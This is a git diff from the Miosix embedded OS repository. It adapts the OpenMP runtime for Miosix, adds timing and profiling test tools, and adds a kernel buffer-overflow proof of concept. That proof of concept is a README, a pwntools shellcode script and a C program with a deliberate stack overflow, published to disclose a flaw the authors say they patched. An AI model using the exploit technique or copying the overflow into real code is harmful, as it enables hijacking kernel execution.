+ // headers. +-#if !defined(KMP_OS_AIX) ++#if !defined(KMP_OS_AIX) && !defined(KMP_OS_MIOSIX) + #include + #endif + #include +@@ -33,7 +33,7 @@ + #define __kmp_gettid() _lwp_self() + #elif KMP_OS_OPENBSD + #define __kmp_gettid() getthrid() +-#elif KMP_OS_AIX ++#elif KMP_OS_AIX || KMP_OS_MIOSIX + #include + #define __kmp_gettid() pthread_self() + #elif defined(SYS_gettid) +diff --git a/openmp/runtime/src/kmp_wrapper_malloc.h b/openmp/runtime/src/kmp_wrapper_malloc.h +index 1f75e88a23b2..ff8bd3d9f875 100644 +--- a/openmp/runtime/src/kmp_wrapper_malloc.h ++++ b/openmp/runtime/src/kmp_wrapper_malloc.h +@@ -97,7 +97,7 @@ + #endif + #elif KMP_OS_DRAGONFLY || KMP_OS_FREEBSD || KMP_OS_NETBSD || KMP_OS_OPENBSD + // Declared in "stdlib.h". +-#elif KMP_OS_UNIX ++#elif KMP_OS_UNIX || KMP_OS_MIOSIX + #include // Linux* OS and OS X*: alloc() declared in "alloca". + #else + #error Unknown or unsupported OS. +diff --git a/openmp/runtime/src/z_Linux_util.cpp b/openmp/runtime/src/z_Linux_util.cpp +index b9ff96873702..9ca8b7fc5112 100644 +--- a/openmp/runtime/src/z_Linux_util.cpp ++++ b/openmp/runtime/src/z_Linux_util.cpp +@@ -29,7 +29,7 @@ + #include + #endif // KMP_OS_LINUX + #include +-#if !KMP_OS_AIX ++#if !KMP_OS_AIX && !KMP_OS_MIOSIX + #include + #endif + #include +@@ -99,9 +99,6 @@ static int __kmp_init_runtime = FALSE; + + static int __kmp_fork_count = 0; + +-static pthread_condattr_t __kmp_suspend_cond_attr; +-static pthread_mutexattr_t __kmp_suspend_mutex_attr; +- + static kmp_cond_align_t __kmp_wait_cv; + static kmp_mutex_align_t __kmp_wait_mx; + +@@ -508,8 +505,14 @@ static void *__kmp_launch_worker(void *thr) { + gtid = ((kmp_info_t *)thr)->th.th_info.ds.ds_gtid; + __kmp_gtid_set_specific(gtid); + #ifdef KMP_TDATA_GTID ++#if KMP_OS_MIOSIX ++ int *val_ptr = new int; ++ *val_ptr = gtid; ++ pthread_setspecific(__kmp_gtid_key, val_ptr); ++#else + __kmp_gtid = gtid; + #endif ++#endif + #if KMP_STATS_ENABLED + // set thread local index to point to thread-specific stats + __kmp_stats_thread_ptr = ((kmp_info_t *)thr)->th.th_stats; +@@ -588,7 +591,13 @@ static void *__kmp_launch_monitor(void *thr) { + /* register us as the monitor thread */ + __kmp_gtid_set_specific(KMP_GTID_MONITOR); + #ifdef KMP_TDATA_GTID ++#if KMP_OS_MIOSIX ++ int *val_ptr = new int; ++ *val_ptr = KMP_GTID_MONITOR; ++ pthread_setspecific(__kmp_gtid_key, val_ptr); ++#else + __kmp_gtid = KMP_GTID_MONITOR; ++#endif + #endif + + KMP_MB(); +@@ -1360,7 +1369,7 @@ static void __kmp_atfork_child(void) { + + void __kmp_register_atfork(void) { + if (__kmp_need_register_atfork) { +-#if !KMP_OS_WASI ++#if !KMP_OS_WASI && !KMP_OS_MIOSIX + int status = pthread_atfork(__kmp_atfork_prepare, __kmp_atfork_parent, + __kmp_atfork_child); + KMP_CHECK_SYSFAIL("pthread_atfork", status); +@@ -1369,14 +1378,6 @@ void __kmp_register_atfork(void) { + } + } + +-void __kmp_suspend_initialize(void) { +- int status; +- status = pthread_mutexattr_init(&__kmp_suspend_mutex_attr); +- KMP_CHECK_SYSFAIL("pthread_mutexattr_init", status); +- status = pthread_condattr_init(&__kmp_suspend_cond_attr); +- KMP_CHECK_SYSFAIL("pthread_condattr_init", status); +-} +- + void __kmp_suspend_initialize_thread(kmp_info_t *th) { + int old_value = KMP_ATOMIC_LD_RLX(&th->th.th_suspend_init_count); + int new_value = __kmp_fork_count + 1; +@@ -1392,11 +1393,9 @@ void __kmp_suspend_initialize_thread(kmp_info_t *th) { + } else { + // Claim to be the initializer and do initializations + int status; +- status = pthread_cond_init(&th->th.th_suspend_cv.c_cond, +- &__kmp_suspend_cond_attr); ++ status = pthread_cond_init(&th->th.th_suspend_cv.c_cond, nullptr); + KMP_CHECK_SYSFAIL("pthread_cond_init", status); +- status = pthread_mutex_init(&th->th.th_suspend_mx.m_mutex, +- &__kmp_suspend_mutex_attr); ++ status = pthread_mutex_init(&th->th.th_suspend_mx.m_mutex, nullptr); + KMP_CHECK_SYSFAIL("pthread_mutex_init", status); + KMP_ATOMIC_ST_REL(&th->th.th_suspend_init_count, new_value); + } +@@ -1798,6 +1797,7 @@ double __kmp_read_cpu_time(void) { + } + + int __kmp_read_system_info(struct kmp_sys_info *info) { ++#if !KMP_OS_WASI && !KMP_OS_MIOSIX + int status; + struct rusage r_usage; + +@@ -1806,7 +1806,6 @@ int __kmp_read_system_info(struct kmp_sys_info *info) { + status = getrusage(RUSAGE_SELF, &r_usage); + KMP_CHECK_SYSFAIL_ERRNO("getrusage", status); + +-#if !KMP_OS_WASI + // The maximum resident set size utilized (in kilobytes) + info->maxrss = r_usage.ru_maxrss; + // The number of page faults serviced without any I/O +@@ -1823,9 +1822,11 @@ int __kmp_read_system_info(struct kmp_sys_info *info) { + info->nvcsw = r_usage.ru_nvcsw; + // The number of times a context switch was forced + info->nivcsw = r_usage.ru_nivcsw; +-#endif + + return (status != 0); ++#else ++ return false; ++#endif + } + + void __kmp_read_system_time(double *delta) { +@@ -1858,7 +1859,7 @@ static int __kmp_get_xproc(void) { + __kmp_type_convert(sysconf(_SC_NPROCESSORS_CONF), &(r)); + + #elif KMP_OS_DRAGONFLY || KMP_OS_FREEBSD || KMP_OS_NETBSD || KMP_OS_OPENBSD || \ +- KMP_OS_HURD || KMP_OS_SOLARIS || KMP_OS_WASI || KMP_OS_AIX ++ KMP_OS_HURD || KMP_OS_SOLARIS || KMP_OS_WASI || KMP_OS_AIX || KMP_OS_MIOSIX + + __kmp_type_convert(sysconf(_SC_NPROCESSORS_ONLN), &(r)); + +@@ -1909,8 +1910,6 @@ int __kmp_read_from_file(char const *path, char const *format, ...) { + + void __kmp_runtime_initialize(void) { + int status; +- pthread_mutexattr_t mutex_attr; +- pthread_condattr_t cond_attr; + + if (__kmp_init_runtime) { + return; +@@ -1924,7 +1923,7 @@ void __kmp_runtime_initialize(void) { + + __kmp_xproc = __kmp_get_xproc(); + +-#if !KMP_32_BIT_ARCH ++#if !KMP_32_BIT_ARCH && !KMP_OS_MIOSIX + struct rlimit rlim; + // read stack size of calling thread, save it as default for worker threads; + // this should be done before reading environment variables +@@ -1968,18 +1967,10 @@ void __kmp_runtime_initialize(void) { + status = pthread_key_create(&__kmp_gtid_threadprivate_key, + __kmp_internal_end_dest); + KMP_CHECK_SYSFAIL("pthread_key_create", status); +- status = pthread_mutexattr_init(&mutex_attr); +- KMP_CHECK_SYSFAIL("pthread_mutexattr_init", status); +- status = pthread_mutex_init(&__kmp_wait_mx.m_mutex, &mutex_attr); ++ status = pthread_mutex_init(&__kmp_wait_mx.m_mutex, nullptr); + KMP_CHECK_SYSFAIL("pthread_mutex_init", status); +- status = pthread_mutexattr_destroy(&mutex_attr); +- KMP_CHECK_SYSFAIL("pthread_mutexattr_destroy", status); +- status = pthread_condattr_init(&cond_attr); +- KMP_CHECK_SYSFAIL("pthread_condattr_init", status); +- status = pthread_cond_init(&__kmp_wait_cv.c_cond, &cond_attr); ++ status = pthread_cond_init(&__kmp_wait_cv.c_cond, nullptr); + KMP_CHECK_SYSFAIL("pthread_cond_init", status); +- status = pthread_condattr_destroy(&cond_attr); +- KMP_CHECK_SYSFAIL("pthread_condattr_destroy", status); + #if USE_ITT_BUILD + __kmp_itt_initialize(); + #endif /* USE_ITT_BUILD */ +@@ -2236,7 +2227,7 @@ int __kmp_is_address_mapped(void *addr) { + } + #elif KMP_OS_WASI + found = (int)addr < (__builtin_wasm_memory_size(0) * PAGESIZE); +-#elif KMP_OS_DRAGONFLY || KMP_OS_SOLARIS || KMP_OS_AIX ++#elif KMP_OS_DRAGONFLY || KMP_OS_SOLARIS || KMP_OS_AIX || KMP_OS_MIOSIX + + (void)rc; + // FIXME(DragonFly, Solaris, AIX): Implement this +diff --git a/openmp/runtime/src/z_Windows_NT_util.cpp b/openmp/runtime/src/z_Windows_NT_util.cpp +index d75b48b2c1bc..2b8490ca2a2d 100644 +--- a/openmp/runtime/src/z_Windows_NT_util.cpp ++++ b/openmp/runtime/src/z_Windows_NT_util.cpp +@@ -311,9 +311,6 @@ void __kmp_disable(int *old_state) { + EnterCriticalSection(&__kmp_win32_section); + } + +-void __kmp_suspend_initialize(void) { /* do nothing */ +-} +- + void __kmp_suspend_initialize_thread(kmp_info_t *th) { + int old_value = KMP_ATOMIC_LD_RLX(&th->th.th_suspend_init); + int new_value = TRUE; diff --git a/tools/context_switch_test/main.cpp b/tools/context_switch_test/main.cpp new file mode 100644 index 000000000..3f198147a --- /dev/null +++ b/tools/context_switch_test/main.cpp @@ -0,0 +1,66 @@ +#include +#include "miosix.h" +#include "kernel/logging.h" +#include "interfaces/arch_registers.h" + +using namespace std; +using namespace miosix; + +// This program attempts to test context switching behavior. +// The main thread is busy doing IO work while a secondary thread continuously +// checks for its registers not to change. +// If register corruption is detected in the second thread, the program hangs +// up. + +extern "C" void fail() +{ + __disable_irq(); + for(;;); +} + +void *otherThread(void *unused) +{ + asm(" cpsid i\n" + " ldr r0,=0x55555555\n" + " mov r1,r0\n" + " mov r2,r0\n" + " mov r3,r0\n" + " mov r4,r0\n" + " mov r5,r0\n" + " mov r6,r0\n" + " mov r7,r0\n" + " mov r8,r0\n" + " mov r9,r0\n" + " mov r10,r0\n" + " mov r11,r0\n" + " mov r12,r0\n" + " cpsie i\n" + "1: cmp r0, r1\n bne 1f\n" + " cmp r1, r0\n bne 1f\n" + " cmp r2, r0\n bne 1f\n" + " cmp r3, r0\n bne 1f\n" + " cmp r4, r0\n bne 1f\n" + " cmp r5, r0\n bne 1f\n" + " cmp r6, r0\n bne 1f\n" + " cmp r7, r0\n bne 1f\n" + " cmp r8, r0\n bne 1f\n" + " cmp r9, r0\n bne 1f\n" + " cmp r10,r0\n bne 1f\n" + " cmp r11,r0\n bne 1f\n" + " cmp r12,r0\n bne 1f\n" + " b 1b\n" + "1: bl fail\n"::: + "r0","r1","r2","r3","r4","r5","r6","r7","r8","r9","r10","r11","r12"); + return nullptr; +} + +int main() +{ + Thread::create(otherThread,1024,DEFAULT_PRIORITY,nullptr,Thread::DETACHED); + for (;;) + { + iprintf("blah blah blah blah blah blah blah blah blah blah blah " + "blah blah blah blah blah blah blah blah blah blah blah " + "blah blah blah blah blah blah blah blah blah blah blah\n"); + } +} diff --git a/tools/cpu_profiler_test/main.cpp b/tools/cpu_profiler_test/main.cpp new file mode 100644 index 000000000..b8911175a --- /dev/null +++ b/tools/cpu_profiler_test/main.cpp @@ -0,0 +1,151 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include +#include +#include "miosix.h" + +using namespace std; +using namespace miosix; + +constexpr unsigned int MAX_WORKERS=10; +constexpr long long SIM_DT=1000LL; // ms +constexpr int PERC_LOAD_PER_WORKER=(100*CPU_NUM_CORES)/MAX_WORKERS; + +void *worker(void *) +{ + while(!Thread::testTerminate()) + { + Thread::sleep(100-PERC_LOAD_PER_WORKER); + delayMs(PERC_LOAD_PER_WORKER); + } + return nullptr; +} + +int main() +{ + #ifdef WITH_CPU_TIME_COUNTER + CPUProfiler p; + #endif // WITH_CPU_TIME_COUNTER + std::deque workers; + + /* + * The idea is that we want to produce a segmented load graph like this: + * + * n. worker threads + * ^ /'-. + * | .-'\ /| '-. + * | .-' | \ / | '-. + * |.-' | | | | + * +--------+--+-----------+> time + * <-period-><-><----------> + * + * A period is a interval of time where the number of worker threads is + * monotonically increasing or decreasing with the same rate (called slope). + * Each thread should take 10% of the total CPU time available in the + * system, allowing to estimate the load that the CPU profiler should see. + * The slope is scaled by a factor of 10 to provide a minimum of fractional + * control over the process. + * + * Note that when we terminate a thread, to the profiler their CPU usage + * is completely lost. So it is *normal and not a bug* that after + * a thread termination period (slope<0) the counter will return very low + * load percentages with respect to the estimate. + * + * Also, the counter's estimate does not take into account scheduler + * behavior so it will be very rough. + */ + int slope=-1,slopeAccum=0,periodSpent=0,periodLeft=0,threadDelta=0; + int approxLoad=0; + for(;;) + { + if(periodLeft<=0) + { + if(periodSpent>0) + { + #ifdef WITH_CPU_TIME_COUNTER + p.update(); + p.print(); + #endif // WITH_CPU_TIME_COUNTER + approxLoad/=periodSpent; + iprintf("added (removed) %d threads, ", threadDelta); + iprintf("expected total load %d%%\n\n", approxLoad); + } + int slopeMagnitude=rand()%19+2; // 0.2 ~ 2 new threads/interval + int maxPeriod; + // switch between adding and removing threads, unless we are + // at the maximum/minimum number of workers. + if((workers.size()>=MAX_WORKERS || slope>0) && workers.size()>0) + { + maxPeriod=workers.size()*slopeMagnitude; + slope=-slopeMagnitude; + } else { + maxPeriod=(MAX_WORKERS-workers.size())*slopeMagnitude; + slope=slopeMagnitude; + } + periodLeft=((rand()%maxPeriod)/10)+1; + periodSpent=0; + threadDelta=0; + approxLoad=0; + //iprintf("slope=%d period=%d\n",slope,period); + } else { + //iprintf("slopeAccum=%d, period=%d\n",slopeAccum,period); + } + slopeAccum+=slope; + bool earlyStop=false; + while(slopeAccum>=5) + { + if(workers.size()>=MAX_WORKERS) { earlyStop=true; break; } + Thread *newWorker=Thread::create(worker,STACK_MIN,DEFAULT_PRIORITY, + nullptr,Thread::DETACHED); + workers.push_back(newWorker); + iprintf("+ %p\n", newWorker); + threadDelta++; + slopeAccum-=10; + } + while(slopeAccum<-5) + { + if(workers.size()==0) { earlyStop=true; break; } + Thread *restingWorker=workers[0]; + workers.pop_front(); + restingWorker->terminate(); + iprintf("- %p\n", restingWorker); + threadDelta--; + slopeAccum+=10; + } + if(earlyStop) + { + periodLeft=0; + } else { + Thread::sleep(SIM_DT); + approxLoad+=PERC_LOAD_PER_WORKER*workers.size(); + periodLeft--; + periodSpent++; + } + } +} diff --git a/tools/delay_test/delay_test.cpp b/tools/delay_test/delay_test.cpp new file mode 100644 index 000000000..b5c7031d6 --- /dev/null +++ b/tools/delay_test/delay_test.cpp @@ -0,0 +1,94 @@ +// This tool is meant to test delays using an oscilloscope connected to a GPIO +// of the chip. + +#include +#include "miosix.h" + +using namespace miosix; + +using out=Gpio; //Select a free GPIO depending on the board + +void tdus(int n) +{ + GlobalIrqLock dLock; + for(;;) + { + out::high(); + delayUs(n); + out::low(); + delayUs(n); + } +} + +void tdms(int n) +{ + GlobalIrqLock dLock; + for(;;) + { + out::high(); + delayMs(n); + out::low(); + delayMs(n); + } +} + +void sleepUs(int n) +{ + const long long ns=n*1000; + for(long long t=getTime();;) + { + out::high(); + t+=ns; + Thread::nanoSleepUntil(t); + out::low(); + t+=ns; + Thread::nanoSleepUntil(t); + } +} + +int main() +{ +// //STM32f1-specific: enable PLL freq to be output on PA8 +// using mco = Gpio; +// mco::mode(Mode::ALTERNATE); +// RCC->CFGR |= (0x7<<24); +// //STM32f?-specific: enable PLL freq to be output on PA8 +// using mco = Gpio; +// mco::speed(Speed::_100MHz); +// mco::mode(Mode::ALTERNATE); +// mco::alternateFunction(0); +// RCC->CFGR |= (0x3<<21); +// //STM32L1-specific: enable SYSCLK/2 freq to be output on PA8 +// using mco = Gpio; +// mco::speed(Speed::VERY_HIGH); +// mco::mode(Mode::ALTERNATE); +// mco::alternateFunction(0); +// RCC->CFGR &= ~(RCC_CFGR_MCOSEL | RCC_CFGR_MCOPRE); +// RCC->CFGR |= (1 << RCC_CFGR_MCOPRE_Pos) | RCC_CFGR_MCOSEL_SYSCLK; +// //STM32u5-specific: enable SYSCLK/16 to be output on PA8 +// using mco = Gpio; +// mco::mode(Mode::ALTERNATE); +// mco::alternateFunction(0); +// RCC->CFGR1|=RCC_CFGR1_MCOPRE_2 | RCC_CFGR1_MCOSEL_0; +// //ATSAM4L-specific: output RCFAST clock on PA2 +// SCIF->SCIF_GCCTRL[0].SCIF_GCCTRL = SCIF_GCCTRL_OSCSEL(5) | SCIF_GCCTRL_CEN; +// using gclk0 = Gpio; +// gclk0::mode(Mode::ALTERNATE); +// gclk0::alternateFunction('A'); +// //EFM32-specific: output HFCLK/2 clock on PA2 +// using clkOut0 = Gpio; +// clkOut0::mode(Mode::OUTPUT); +// CMU->CTRL |= CMU_CTRL_CLKOUTSEL0_HFCLK2; +// CMU->ROUTE |= CMU_ROUTE_CLKOUT0PEN; +// //Raspberry Pi Pico-specific: output clock on GPIO 21 divided by 1000 +// using clkOut = Gpio; +// clocks_hw->clk[clk_gpout0].ctrl= +// (CLOCKS_CLK_GPOUT0_CTRL_AUXSRC_VALUE_CLK_SYS<clk[clk_gpout0].div=1000<=1000) tdms(n/1000); else tdus(n); +} diff --git a/miosix/_tools/delay_test/delay_test_no_oscilloscope.cpp b/tools/delay_test/delay_test_no_oscilloscope.cpp similarity index 98% rename from miosix/_tools/delay_test/delay_test_no_oscilloscope.cpp rename to tools/delay_test/delay_test_no_oscilloscope.cpp index 3716042a1..7db3d8aa7 100644 --- a/miosix/_tools/delay_test/delay_test_no_oscilloscope.cpp +++ b/tools/delay_test/delay_test_no_oscilloscope.cpp @@ -103,7 +103,7 @@ void delayUsTest() long long delta; { #ifndef NO_INT_DISABLE_DURING_TEST - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; #endif auto start=IRQgetTime(); delayUs(i); @@ -133,7 +133,7 @@ void delayMsTest() long long delta; { #ifndef NO_INT_DISABLE_DURING_TEST - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; #endif auto start=IRQgetTime(); delayMs(i); diff --git a/miosix/_tools/delay_test/os_timer_test.cpp b/tools/delay_test/os_timer_test.cpp similarity index 95% rename from miosix/_tools/delay_test/os_timer_test.cpp rename to tools/delay_test/os_timer_test.cpp index bd994874f..9e2dccebc 100644 --- a/miosix/_tools/delay_test/os_timer_test.cpp +++ b/tools/delay_test/os_timer_test.cpp @@ -10,7 +10,7 @@ void smallsleepTest() { // Check for os_timer race conditions by sleeping close to the wakeup time // test passes if no lockups occur - using pin = Gpio; //TODO: change pin to one available + using pin = Gpio; //TODO: change pin to one available pin::mode(Mode::OUTPUT); const int span=2; for(;;) diff --git a/miosix/_tools/feedforward_profiling/CMakeLists.txt b/tools/feedforward_profiling/CMakeLists.txt similarity index 100% rename from miosix/_tools/feedforward_profiling/CMakeLists.txt rename to tools/feedforward_profiling/CMakeLists.txt diff --git a/miosix/_tools/feedforward_profiling/Readme.txt b/tools/feedforward_profiling/Readme.txt similarity index 100% rename from miosix/_tools/feedforward_profiling/Readme.txt rename to tools/feedforward_profiling/Readme.txt diff --git a/miosix/_tools/feedforward_profiling/fdstream.h b/tools/feedforward_profiling/fdstream.h similarity index 100% rename from miosix/_tools/feedforward_profiling/fdstream.h rename to tools/feedforward_profiling/fdstream.h diff --git a/miosix/_tools/feedforward_profiling/fdstream.tcc b/tools/feedforward_profiling/fdstream.tcc similarity index 100% rename from miosix/_tools/feedforward_profiling/fdstream.tcc rename to tools/feedforward_profiling/fdstream.tcc diff --git a/miosix/_tools/feedforward_profiling/feedforward.png b/tools/feedforward_profiling/feedforward.png similarity index 100% rename from miosix/_tools/feedforward_profiling/feedforward.png rename to tools/feedforward_profiling/feedforward.png diff --git a/miosix/_tools/feedforward_profiling/ff_off.txt b/tools/feedforward_profiling/ff_off.txt similarity index 100% rename from miosix/_tools/feedforward_profiling/ff_off.txt rename to tools/feedforward_profiling/ff_off.txt diff --git a/miosix/_tools/feedforward_profiling/ff_on.txt b/tools/feedforward_profiling/ff_on.txt similarity index 100% rename from miosix/_tools/feedforward_profiling/ff_on.txt rename to tools/feedforward_profiling/ff_on.txt diff --git a/miosix/_tools/feedforward_profiling/ff_reinit.txt b/tools/feedforward_profiling/ff_reinit.txt similarity index 100% rename from miosix/_tools/feedforward_profiling/ff_reinit.txt rename to tools/feedforward_profiling/ff_reinit.txt diff --git a/miosix/_tools/feedforward_profiling/gdb_init.script b/tools/feedforward_profiling/gdb_init.script similarity index 100% rename from miosix/_tools/feedforward_profiling/gdb_init.script rename to tools/feedforward_profiling/gdb_init.script diff --git a/miosix/_tools/feedforward_profiling/jtag_profiler.cpp b/tools/feedforward_profiling/jtag_profiler.cpp similarity index 100% rename from miosix/_tools/feedforward_profiling/jtag_profiler.cpp rename to tools/feedforward_profiling/jtag_profiler.cpp diff --git a/miosix/_tools/feedforward_profiling/plot.sci b/tools/feedforward_profiling/plot.sci similarity index 100% rename from miosix/_tools/feedforward_profiling/plot.sci rename to tools/feedforward_profiling/plot.sci diff --git a/miosix/_tools/feedforward_profiling/plot.sh b/tools/feedforward_profiling/plot.sh similarity index 100% rename from miosix/_tools/feedforward_profiling/plot.sh rename to tools/feedforward_profiling/plot.sh diff --git a/miosix/_tools/feedforward_profiling/postprocess.pl b/tools/feedforward_profiling/postprocess.pl similarity index 100% rename from miosix/_tools/feedforward_profiling/postprocess.pl rename to tools/feedforward_profiling/postprocess.pl diff --git a/miosix/_tools/feedforward_profiling/test.cpp b/tools/feedforward_profiling/test.cpp similarity index 100% rename from miosix/_tools/feedforward_profiling/test.cpp rename to tools/feedforward_profiling/test.cpp diff --git a/miosix/_tools/feedforward_profiling/test2.cpp b/tools/feedforward_profiling/test2.cpp similarity index 100% rename from miosix/_tools/feedforward_profiling/test2.cpp rename to tools/feedforward_profiling/test2.cpp diff --git a/miosix/_tools/filesystems/misc_testcode/test_driver.cpp b/tools/filesystems/misc_testcode/test_driver.cpp similarity index 100% rename from miosix/_tools/filesystems/misc_testcode/test_driver.cpp rename to tools/filesystems/misc_testcode/test_driver.cpp diff --git a/miosix/_tools/filesystems/misc_testcode/xstat.c b/tools/filesystems/misc_testcode/xstat.c similarity index 100% rename from miosix/_tools/filesystems/misc_testcode/xstat.c rename to tools/filesystems/misc_testcode/xstat.c diff --git a/tools/init_project_out_of_git_tree.pl b/tools/init_project_out_of_git_tree.pl new file mode 100644 index 000000000..31706863b --- /dev/null +++ b/tools/init_project_out_of_git_tree.pl @@ -0,0 +1,90 @@ +#!/usr/bin/perl + +# This script allows to replicate the content of the Miosix top level directory +# outside of the Miosix git repository, in order to write an application making +# use of Miosix without creating or altering any file in the Miosix git repo. +# This simplifies updating the kernel with git pull and allows to have the +# Miosix git repository as a submodule of another git repository. +# +# To use this script, open a shell in the directory where you want the +# project to be created and run +# perl /tools/init_project_out_of_git_tree.pl + +use warnings; +use strict; +use Cwd qw(cwd abs_path); +use File::Copy; +use File::Copy::Recursive qw(dircopy); # apt install libfile-copy-recursive-perl +use File::Basename; +use File::Spec; + +# Target directory is where the script is launched from +my $target=cwd(); + +# Get the kernel top level directory from the script path. The script must be +# placed in the tools subdirectory of the Miosix git repo +my $script_path=dirname(abs_path($0)); +die "Can't locate the kernel directory\n" unless($script_path =~ /(\\|\/)tools$/); +(my $repo_path = $script_path) =~ s/(\\|\/)tools$//; +my $kpath = "$repo_path/miosix"; +die "Can't locate the kernel directory\n" unless(-d $kpath); +my $source = "$repo_path/templates/simple"; +die "Can't locate the simple example directory\n" unless(-d $source); +die "The project directory must be outside of the kernel tree\n" if(index($target,$source)==0); + +die "Error: file main.cpp already exists\n" if -e "main.cpp"; +die "Error: file Makefile already exists\n" if -e "Makefile"; +die "Error: file CMakeLists.txt already exists\n" if -e "CMakeLists.txt"; +die "Error: directory config already exists\n" if -e "config"; + +# Copy the Makefile fixing the KPATH and CONFPATH lines. This is what makes +# building out the git tree possible +sub copy_and_fixup_makefile +{ + my ($in_name,$out_name)=@_; + open(my $in, '<', $in_name) or die; + open(my $out, '>', $out_name) or die; + # KPATH must contain the path to the kernel. Said path must be relative and + # in the unix format (i.e: with / as path separator, not \). This is + # because the generated Makefile may be put in a public git repository that + # has the miosix kernel as a submodule, and it would be bad to put an + # absolute path in a git repo, or a path that is only usable from windows + my $relpath=File::Spec->abs2rel($kpath,$target); + $relpath =~ s/\\/\//; # Force the use of / as path separator + while(<$in>) + { + s/^KPATH := .*$/KPATH := $relpath/; + s/^CONFPATH := .*$/CONFPATH := ./; + print $out "$_"; + } + close($in); + close($out); +} + +# Copy the CMakeLists.txt fixing the KPATH line. This is what makes +# building out the git tree possible +sub copy_and_fixup_cmake +{ + my ($in_name,$out_name)=@_; + open(my $in ,'<', $in_name) or die $!; + open(my $out,'>', $out_name) or die $!; + my $relpath=File::Spec->abs2rel($kpath,$target); + $relpath =~ s/\\/\//; + while(<$in>) + { + s/^set\(MIOSIX_KPATH [^)]+\)$/set(MIOSIX_KPATH \${CMAKE_SOURCE_DIR}\/$relpath)/; + s/# set\(MIOSIX_USER_CONFIG_PATH [^)]+\)$/set(MIOSIX_USER_CONFIG_PATH \${CMAKE_SOURCE_DIR}\/config)/; + print $out "$_"; + } + close $in; + close $out; +} + +copy("$source/main.cpp","$target/main.cpp") or die; +copy_and_fixup_makefile("$source/Makefile","$target/Makefile"); +copy_and_fixup_cmake("$source/CMakeLists.txt","$target/CMakeLists.txt"); +dircopy("$kpath/config","$target/config") or die; + +print "Successfully created Miosix project\n"; +print "Target directory: $target\n"; +print "Kernel directory: $kpath\n"; diff --git a/tools/kernel_bof_exploit/README.md b/tools/kernel_bof_exploit/README.md new file mode 100644 index 000000000..59041b03f --- /dev/null +++ b/tools/kernel_bof_exploit/README.md @@ -0,0 +1,32 @@ +# Kernel Buffer Overflow +This folder contains a proof-of-concept exploit for Miosix OS's vulnerability that allowed running kernel space code from the user space. The exploit demonstrates how an attacker could hijack the return address to execute a shellcode which calls the `puts` function in kernel space trying to print "HACKED". + +Here follows the steps to be reproduced in order to run the exploit. + +0. compile the source code by running `make -jX`, where `X` is the number of core of your machine +1. open three terminals, respectively running: + - `screen /dev/ 115200`, where `port` is the name of the interface on which the board is connected (e.g. `ttyACM0`) + - `openocd -f miosix/arch/`, where `cfg_file` is the path of the `.cfg` file of the board (e.g. `cortexM4_stm32l4/stm32l4r9zi_sensortile/stm32l4r9zi_sensortile`) + - `arm-miosix-eabi-gdb main.elf` +2. in GDB, connect to the openocd instance, then flash the image with: +``` + target remote :3333 + monitor reset halt + monitor flash write_image erase main.bin 0x08000000 +``` +3. from GDB obtain the address of the buffer where to write the shellcode by setting a breakpoint at the beginning of the main function: +``` + b *main + c + p &buff +``` +4. from `main.map`, obtain the address of the `puts` function (0x0800117c). It should be something like: +``` +.text 0x00000000080010d0 0xc4 /opt/arm-miosix-eabi/lib/gcc/arm-miosix-eabi/9.2.0/../../../../arm-miosix-eabi/lib/thumb/v7e-m+fp/hard/libc.a(lib_a-puts.o) + 0x00000000080010d0 _puts_r + 0x000000000800117c puts +``` +5. install [`pwntools`](https://pypi.org/project/pwntools/) with `pip install pwntools` +5. fill in the two addresses in `exploit.py` +6. in `screen`, put the shellcode generated by the `exploit.py` script using CRTL + A, then `:exec !! python exploit.py` +7. if you get `HACKED` on a single line, the exploit succeeded. After our path, you should instead obtain a segmentation fault. \ No newline at end of file diff --git a/tools/kernel_bof_exploit/exploit.py b/tools/kernel_bof_exploit/exploit.py new file mode 100644 index 000000000..b748ba313 --- /dev/null +++ b/tools/kernel_bof_exploit/exploit.py @@ -0,0 +1,42 @@ +# Copyright (C) 2025 Nicole Filippi, Luca Padalino + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# (at your option) any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +from pwn import * +import sys + +context.arch = 'thumb' +context.os = 'baremetal' +context.log_level = 'critical' + +# address of the buffer (gdb p &buff) +buff = 0x20002148 +# address of the puts function (from main.map) +puts = 0x800117c + +buff += 32 + 1 # 32 is the size of the nopsled, 1 for the address of the thumb-2 instruction +puts += 1 # 1 for the address of the thumb-2 instruction + + # bl $pc + 12 +shellcode = b"\x00\xf0\x04\xf8" + asm(f""" +.asciz " HACKED" +mov r0, lr +sub sp, sp, 0x68 +movw r1, {hex(puts&0xffff)} +movt r1, {hex(puts>>16)} +blx r1 +""") + b"\xfe\xe7" +# 0x68 is the offset between the stack pointer and the beginning of the nopsled +# nop +sys.stdout.buffer.write(b"\x00\xbf" * 32 + shellcode.ljust(68, b"A") + p32(buff, endian='little')) diff --git a/tools/kernel_bof_exploit/main.cpp b/tools/kernel_bof_exploit/main.cpp new file mode 100644 index 000000000..13b8d22e9 --- /dev/null +++ b/tools/kernel_bof_exploit/main.cpp @@ -0,0 +1,12 @@ +#include +#include + +using namespace std; + +int main() +{ + char buff[128]; + read(0, buff, 128+8); + printf("Hello\n"); + return 0; +} \ No newline at end of file diff --git a/miosix/_tools/loc_counter.sh b/tools/loc_counter.sh similarity index 100% rename from miosix/_tools/loc_counter.sh rename to 